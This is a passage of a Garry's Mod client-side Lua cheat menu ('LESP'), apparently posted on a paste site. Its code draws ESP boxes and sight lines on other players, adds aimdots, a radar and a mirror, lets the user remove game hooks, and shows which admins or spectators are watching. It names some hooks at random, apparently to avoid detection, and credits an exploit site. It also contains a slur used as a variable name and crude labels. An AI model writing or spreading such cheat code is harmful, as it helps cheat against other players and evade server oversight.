- table.remove( LESPObjects, k )
- end
- end
- RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
- print( Objects:GetSelectedLine() )
- Objects:RemoveLine( Objects:GetSelectedLine() )
- end
- Tab:AddItem( Objects )
- for _, v in pairs( LESPObjects ) do
- if v ~= "" then
- Objects:AddLine( v )
- end
- end
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Add" )
- Control.DoClick = function()
- Derma_StringRequest( "LESP", "Name of entity to add:", "", function( txt )
- table.insert( LESPObjects, txt )
- RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
- Objects:AddLine( txt )
- end )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Add Looking at" )
- Control.DoClick = function()
- if LocalPlayer():GetEyeTrace().Hit and LocalPlayer():GetEyeTrace().Entity:IsValid() then
- table.insert( LESPObjects, LocalPlayer():GetEyeTrace().Entity:GetClass() )
- RunConsoleCommand( "lix_lesp_objects", table.concat( LESPObjects, "|" ) )
- Objects:AddLine( LocalPlayer():GetEyeTrace().Entity:GetClass() )
- end
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Remove All" )
- Control.DoClick = function()
- Derma_Query( "Do you want to remove all Entites?", "LESP",
- "Yes", function()
- for i, v in pairs( string.Explode( "|", LESPObjects:GetString() ) ) do
- Objects:RemoveLine( i )
- end
- LESPObjects = {}
- RunConsoleCommand( "lix_lesp_objects", "" )
- end,
- "No", function() end )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Aimdots" )
- Control:SetConVar( "lix_lesp_aimdot" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Aimdot Filtering" )
- Control:SetConVar( "lix_lesp_aimdotfilter" )
- Tab:AddItem( Control )
- Sheet:AddSheet( "LESP", Tab, "icon16/group.png", false, false, "LESP Configuration" )
- local Tab = vgui.Create( "DPanelList" )
- Tab:SetSpacing( 5 )
- Tab:SetPadding( 5 )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Mirror Enabled" )
- Control:SetConVar( "lix_lesp_mirror" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Enable Mirror Placement" )
- Control.DoClick = function()
- local PlaceFrame = vgui.Create( "DFrame" )
- RunConsoleCommand( "lix_lesp_mirror", 0 )
- PlaceFrame:SetSize( LESPMirrorw:GetInt(), LESPMirrorh:GetInt() )
- PlaceFrame:SetPos( LESPMirrorx:GetInt(), LESPMirrory:GetInt() )
- PlaceFrame:ShowCloseButton( false )
- PlaceFrame:SetSizable( true )
- PlaceFrame:SetTitle( "Move Da Mirror" )
- local PlaceButton = vgui.Create( "DButton", PlaceFrame )
- PlaceButton:SetSize( 100, 40 )
- PlaceButton:SetPos( 5, 30 )
- PlaceButton:SetText( "Bitch Muddafuckin Stay Here" )
- PlaceButton.DoClick = function()
- local x, y = PlaceFrame:GetPos()
- local w, h = PlaceFrame:GetSize()
- RunConsoleCommand( "lix_lesp_mirrorx", x )
- RunConsoleCommand( "lix_lesp_mirrory", y )
- RunConsoleCommand( "lix_lesp_mirrorw", w )
- RunConsoleCommand( "lix_lesp_mirrorh", h )
- RunConsoleCommand( "lix_lesp_mirror", 1 )
- PlaceFrame:Close()
- end
- PlaceButton.Think = function()
- local x, y = PlaceFrame:GetPos()
- local w, h = PlaceFrame:GetSize()
- PlaceButton:SetSize( w - 10, h - 32 )
- PlaceButton:SetPos( 5, 27 )
- end
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DNumSlider" )
- Control:SetText( "Pitch" )
- Control:SetMin( -2 )
- Control:SetMax( 359 )
- Control:SetDecimals( 0 )
- Control:SetConVar( "lix_lesp_mirrorpitch" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DNumSlider" )
- Control:SetText( "Yaw" )
- Control:SetMin( -2 )
- Control:SetMax( 359 )
- Control:SetDecimals( 0 )
- Control:SetConVar( "lix_lesp_mirroryaw" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DNumSlider" )
- Control:SetText( "Roll" )
- Control:SetMin( -2 )
- Control:SetMax( 359 )
- Control:SetDecimals( 0 )
- Control:SetConVar( "lix_lesp_mirrorroll" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DLabel" )
- Control:SetText( " " )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Radar Enabled" )
- Control:SetConVar( "lix_lesp_radar" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Enable Radar Placement" )
- Control.DoClick = function()
- local PlaceFrame = vgui.Create( "DFrame" )
- RunConsoleCommand( "lix_lesp_radar", 0 )
- PlaceFrame:SetSize( LESPRadarw:GetInt(), LESPRadarh:GetInt() )
- PlaceFrame:SetPos( LESPRadarx:GetInt(), LESPRadary:GetInt() )
- PlaceFrame:ShowCloseButton( false )
- PlaceFrame:SetSizable( true )
- PlaceFrame:SetTitle( "Radar Placement" )
- local PlaceButton = vgui.Create( "DButton", PlaceFrame )
- PlaceButton:SetSize( 100, 40 )
- PlaceButton:SetPos( 5, 30 )
- PlaceButton:SetText( "CONFIRM" )
- PlaceButton.DoClick = function()
- local x, y = PlaceFrame:GetPos()
- local w, h = PlaceFrame:GetSize()
- RunConsoleCommand( "lix_lesp_radarx", x )
- RunConsoleCommand( "lix_lesp_radary", y )
- RunConsoleCommand( "lix_lesp_radarw", w )
- RunConsoleCommand( "lix_lesp_radarh", h )
- RunConsoleCommand( "lix_lesp_radar", 1 )
- PlaceFrame:Close()
- end
- PlaceButton.Think = function()
- local x, y = PlaceFrame:GetPos()
- local w, h = PlaceFrame:GetSize()
- PlaceButton:SetSize( w - 10, h - 32 )
- PlaceButton:SetPos( 5, 27 )
- end
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DNumSlider" )
- Control:SetText( "FOV" )
- Control:SetMin( 0 )
- Control:SetMax( 3000 )
- Control:SetDecimals( 0 )
- Control:SetConVar( "lix_lesp_radarfov" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Auto Adjust" )
- Control:SetConVar( "lix_lesp_radarauto" )
- Tab:AddItem( Control )
- Sheet:AddSheet( "Mirror", Tab, "icon16/magnifier.png", false, false, "Mirror and Radar Configuration" )
- local function CreateHooks()
- local Var = hook.GetTable()
- table.sort( Var, function( a, b ) return a < b end )
- for HookName, HookFunctions in pairs( Var ) do
- HooksTable[ HookName ] = vgui.Create( "DCollapsibleCategory" )
- HooksTable[ HookName ]:SetExpanded( 0 )
- HooksTable[ HookName ]:SetLabel( HookName )
- HooksTable[ HookName ].Contents = vgui.Create( "DPanelList" )
- HooksTable[ HookName ].Contents:SetAutoSize( true )
- HooksTable[ HookName ].Contents:SetSpacing( 5 )
- HooksTable[ HookName ].Contents:SetPadding( 5 )
- HooksTable[ HookName ].Contents:EnableHorizontal( false )
- HooksTable[ HookName ].Contents:EnableVerticalScrollbar( true )
- HooksTable[ HookName ]:SetContents( HooksTable[ HookName ].Contents )
- Tab:AddItem( HooksTable[ HookName ] )
- local Var2 = HookFunctions
- table.sort( Var2, function( a, b ) return a < b end )
- for HookID, HookFunction in pairs( Var2 ) do
- HooksTable[ HookName ].Contents[ HookID ] = vgui.Create( "DButton" )
- HooksTable[ HookName ].Contents[ HookID ]:SetText( HookID )
- HooksTable[ HookName ].Contents[ HookID ].DoClick = function()
- local Menu = DermaMenu()
- Menu:AddOption( "Call Hook", function() hook.Call( HookName ) end )
- Menu:AddOption( "Remove Hook", function() hook.Remove( HookName, HookID ) HooksTable[ HookName ].Contents[ HookID ]:Remove() end )
- Menu:Open()
- end
- HooksTable[ HookName ].Contents:AddItem( HooksTable[ HookName ].Contents[ HookID ] )
- end
- end
- end
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Refresh" )
- Control.DoClick = function()
- for k, v in pairs( HooksTable ) do
- v:Remove()
- end
- CreateHooks()
- end
- Tab:AddItem( Control )
- CreateHooks()
- Sheet:AddSheet( "Hooks", Tab, "icon16/anchor.png", false, false, "Manage active Lua Hooks" )
- local Tab = vgui.Create( "DPanelList" )
- Tab:SetSpacing( 5 )
- Tab:SetPadding( 5 )
- Tab:EnableVerticalScrollbar( true )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Light" )
- Control.DoClick = function()
- RunConsoleCommand( "lix_lesp_light" )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Aura Light" )
- Control.DoClick = function()
- RunConsoleCommand( "lix_lesp_aura" )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DLabel" )
- Control:SetText( " " )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Add Detector" )
- Control.DoClick = function()
- RunConsoleCommand( "lix_lesp_detectadd" )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Remove Detector" )
- Control.DoClick = function()
- RunConsoleCommand( "lix_lesp_detectremove" )
- end
- Tab:AddItem( Control )
- local Control = vgui.Create( "DNumSlider" )
- Control:SetText( "Detector Threshold" )
- Control:SetMin( 0 )
- Control:SetMax( 2000 )
- Control:SetDecimals( 0 )
- Control:SetConVar( "lix_lesp_detectthresh" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Detectors" )
- Control:SetConVar( "lix_lesp_detectshow" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Thresholds" )
- Control:SetConVar( "lix_lesp_detectshowrad" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Trace Detection" )
- Control:SetConVar( "lix_lesp_detecttrace" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DLabel" )
- Control:SetText( " " )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Reverse Chat" )
- Control:SetConVar( "lix_lesp_chatreverse" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Cambridge Chat" )
- Control:SetConVar( "lix_lesp_chatcambridge" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DLabel" )
- Control:SetText( " " )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DButton" )
- Control:SetText( "Reload Scripts" )
- Control.DoClick = function()
- if LESPMenuFrame then
- LESPMenuFrame:Close()
- gui.EnableScreenClicker( false )
- end
- include( "autorun/client/LESP.lua" )
- end
- Tab:AddItem( Control )
- Sheet:AddSheet( "Misc", Tab, "icon16/plugin.png", false, false, "Other Settings" )
- else
- LESPMenuFrame:SetVisible( true )
- end
- end
- local function LESPMenuOff()
- if LESPMenuFrame then
- LESPMenuFrame:SetVisible( false )
- gui.EnableScreenClicker( false )
- end
- end
- concommand.Add( "+lix_lesp_menu", LESPMenu )
- concommand.Add( "-lix_lesp_menu", LESPMenuOff )
- concommand.Add( "lix_lesp_reload", function() include( "autorun/client/LESP.lua" ) end )
- local function IsisCreateHook(Type,Function)
- Name = tostring(math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500)..math.random(1,500))
- return hook.Add(Type,Name,Function)
- end
- toggleeyesight = true
- concommand.Add("laser_eye", function()
- if toggleeyesight then
- hook.Remove("HUDPaint", "EyeSightt")
- toggleeyesight = false
- else
- hook.Add("HUDPaint", "EyeSightt", EyeSight)
- toggleeyesight = true
- end
- end)
- function EyeSight()
- cam.Start3D(EyePos(), EyeAngles())
- for k,ply in pairs(player.GetAll()) do
- if ply != LocalPlayer() && ply:Alive() then
- local shootPos = ply:GetShootPos()
- local eyeAngles = ply:EyeAngles()
- local data = {}
- data.start = shootPos
- data.endpos = shootPos + eyeAngles:Forward() * 10000
- data.filter = ply
- local tr = util.TraceLine(data)
- cam.Start3D2D(shootPos, eyeAngles, 1)
- if IsValid(tr.Entity) then
- surface.SetDrawColor(250, 0, 255, 255)
- else
- surface.SetDrawColor(152, 73, 255, 255)
- end
- surface.DrawLine(0, 0, tr.HitPos:Distance(shootPos), 0)
- cam.End3D2D()
- end
- end
- cam.End3D()
- end
- hook.Add("RenderScreenspaceEffects", "EyeSightt", EyeSight)
- local neededAngles = Angle(-90, 0, 0)
- HeadLinesActive = true
- function HeadLines2()
- cam.Start3D(EyePos(), EyeAngles())
- for k,ply in pairs(player.GetAll()) do
- if ply != LocalPlayer() && ply:Alive() then
- local shootPos = ply:GetShootPos()
- local data = {}
- data.start = shootPos
- data.endpos = shootPos + neededAngles:Forward() * 10000
- data.filter = ply
- local tr = util.TraceLine(data)
- cam.Start3D2D(shootPos, neededAngles, 1)
- if IsValid(tr.Entity) then
- surface.SetDrawColor(250, 0, 255, 255)
- else
- surface.SetDrawColor(152, 73, 255, 255)
- end
- surface.DrawLine(0, 0, tr.HitPos:Distance(shootPos), 0)
- cam.End3D2D()
- end
- end
- cam.End3D()
- end
- hook.Add("HUDPaint", "HeadLines2", HeadLines2)
- concommand.Add("pesp_head", function()
- if toggleLinesHead then
- hook.Remove("HUDPaint", "HeadLines2")
- toggleLinesHead = false
- HeadLinesActive = false
- else
- hook.Add("HUDPaint", "HeadLines2", HeadLines2)
- toggleLinesHead = true
- HeadLinesActive = true
- end
- end)
- CreateClientConVar( "lix_lesp_BSP_3dbox", 1, true, false )
- local function DrawBoundingBox() -- thanks Anthr4x
- if GetConVarNumber("lix_lesp_BSP_3dbox") == 1 then
- cam.Start3D(EyePos(), EyeAngles());
- for k, ply in pairs(player.GetAll()) do
- if ( ply:Alive() && ( IsValid(ply) && ply != LocalPlayer() )) then
- local ang = ply:EyeAngles();
- ang.p = 0;
- ang.r = 0;
- local pos = ply:GetPos();
- local width = 32;
- local height = 74;
- local scale = 2;
- local BoxColor = Color(152, 73, 255, 255)
- local ang1 = Angle(ang.p, ang.y, ang.r);
- local pos1 = pos;
- pos1 = pos1 - (ang1:Forward() * (width / 2));
- pos1 = pos1 - (ang1:Right() * (width / 2));
- cam.Start3D2D(pos1, ang1, (1 / scale));
- surface.SetDrawColor(BoxColor);
- surface.DrawOutlinedRect(0, 0, (width * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (width * scale), (width * scale));
- cam.End3D2D();
- -- Top Face
- cam.IgnoreZ( true )
- local ang2 = Angle(ang.p, ang.y, ang.r);
- local pos2 = pos;
- pos2 = pos2 - (ang2:Forward() * (width / 2));
- pos2 = pos2 - (ang2:Right() * (width / 2));
- pos2 = pos2 + (ang2:Up() * (height));
- cam.Start3D2D(pos2, ang2, (1 / scale));
- surface.SetDrawColor(BoxColor);
- surface.DrawOutlinedRect(0, 0, (width * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (width * scale), (width * scale));
- cam.End3D2D();
- -- Front Face
- local ang3 = Angle(ang.p + 90, ang.y, ang.r);
- local pos3 = pos;
- pos3 = pos3 - (ang3:Forward() * height);
- pos3 = pos3 - (ang3:Right() * (width / 2));
- pos3 = pos3 + (ang3:Up() * (width / 2));
- cam.Start3D2D(pos3, ang3, (1 / scale));
- surface.SetDrawColor(BoxColor)
- surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (height * scale), (width * scale));
- cam.End3D2D();
- -- Back Face
- local ang4 = Angle(ang.p + 90, ang.y, ang.r);
- local pos4 = pos;
- pos4 = pos4 - (ang4:Forward() * height);
- pos4 = pos4 - (ang4:Right() * (width / 2));
- pos4 = pos4 - (ang4:Up() * (width / 2));
- cam.Start3D2D(pos4, ang4, (1 / scale));
- surface.SetDrawColor(BoxColor);
- surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (height * scale), (width * scale));
- cam.End3D2D();
- local ang5 = Angle(ang.p + 90, ang.y, ang.r + 90);
- local pos5 = pos;
- pos5 = pos5 - (ang5:Forward() * height);
- pos5 = pos5 - (ang5:Right() * (width / 2));
- pos5 = pos5 - (ang5:Up() * (width / 2));
- cam.Start3D2D(pos5, ang5, (1 / scale));
- surface.SetDrawColor(BoxColor);
- surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (height * scale), (width * scale));
- cam.End3D2D();
- local ang6 = Angle(ang.p + 90, ang.y, ang.r + 90);
- local pos6 = pos;
- pos6 = pos6 - (ang6:Forward() * height);
- pos6 = pos6 - (ang6:Right() * (width / 2));
- pos6 = pos6 + (ang6:Up() * (width / 2));
- cam.Start3D2D(pos6, ang6, (1 / scale));
- surface.SetDrawColor(BoxColor);
- surface.DrawOutlinedRect(0, 0, (height * scale), (width * scale));
- surface.SetDrawColor(Color(0, 0, 0, 0));
- surface.DrawRect(0, 0, (height * scale), (width * scale));
- cam.End3D2D();
- end
- end
- cam.End3D();
- end
- end
- hook.Add("RenderScreenspaceEffects",""..math.random().."", DrawBoundingBox)
- CreateClientConVar( "fag", 0, true, false )
- CreateClientConVar( "fag", 0, true, false )
- local badmins = true
- hook.Add("HUDPaint", "badmins2", function()
- if GetConVarNumber( "fag" ) <= 0 then return end
- local badmins = {}
- local x = 0
- for k,v in pairs(player.GetAll()) do
- if v:IsAdmin() then
- table.insert(badmins, v:Name())
- if not v.lespNotified then
- chat.AddText(Color(100, 100, 100), "[Infos] ", Color(0, 255, 255), "Admin " .. v:Nick() .. " a rejoins !");
- surface.PlaySound("buttons/blip1.wav");
- v.lespNotified = true
- end
- end
- end
- local textLength = surface.GetTextSize(table.concat(badmins) ) / 3
- draw.RoundedBox(1, ScrW() - 350, ScrH() - ScrH() + 15, 150, 30 + textLength, Color(0,0,0,150))
- draw.SimpleText("Admins", "default", ScrW() - 345, ScrH() - ScrH() + 16, Color(0, 0, 0, 150))
- draw.SimpleText("Admins", "default", ScrW() - 345, ScrH() - ScrH() + 17, Color(0, 255, 0))
- for k, v in pairs(badmins) do
- draw.SimpleText(v, "default", ScrW() - 345, ScrH() - ScrH() + 35 + x, Color(255, 255, 255, 255))
- x = x + 15
- end
- end)
- local showSpectators = true
- hook.Add("HUDPaint", "showspectators", function()
- if GetConVarNumber( "fag" ) <= 0 then return end
- local spectatePlayers = {}
- local x = 0
- for k,v in pairs(player.GetAll()) do
- if v:GetObserverTarget() == LocalPlayer() then
- table.insert(spectatePlayers, v:Name())
- if not v.spectateNotified then
- chat.AddText(Color(100, 100, 100), "[Infos] ", Color(0, 255, 255), "Admin " .. v:Nick() .. " est en train de te Spectate");
- surface.PlaySound("buttons/blip1.wav");
- v.spectateNotified = true
- end
- else
- v.spectateNotified = false
- end
- end
- hook.Add("HUDPaint", "Credits", function() draw.SimpleTextOutlined( "Garry's Mod Menu Downloaded on noxploit.pro | Enjoy your game !", "creditsfont", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )
- end)
- surface.CreateFont( "creditsfont", {
- font = "Roboto",
- extended = false,
- size = 20,
- weight = 600,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- local textLength = surface.GetTextSize(table.concat(spectatePlayers) ) / 3
- draw.RoundedBox(1, ScrW() - 180, ScrH() - ScrH() + 15, 150, 30 + textLength, Color(0,0,0,150))
- draw.SimpleText("Spectators", "default", ScrW() - 175, ScrH() - ScrH() + 17, Color(0, 0, 0, 150))
- draw.SimpleText("Spectators", "default", ScrW() - 175, ScrH() - ScrH() + 16, Color(0, 255, 0))
- for k, v in pairs(spectatePlayers) do
- draw.SimpleText(v, "default", ScrW() - 175, ScrH() - ScrH() + 35 + x, Color(255, 255, 255, 255))
- x = x + 15
- end
- end)
- /*======================================================================================================================================================================================*/
Add Comment
Please, Sign In to add comment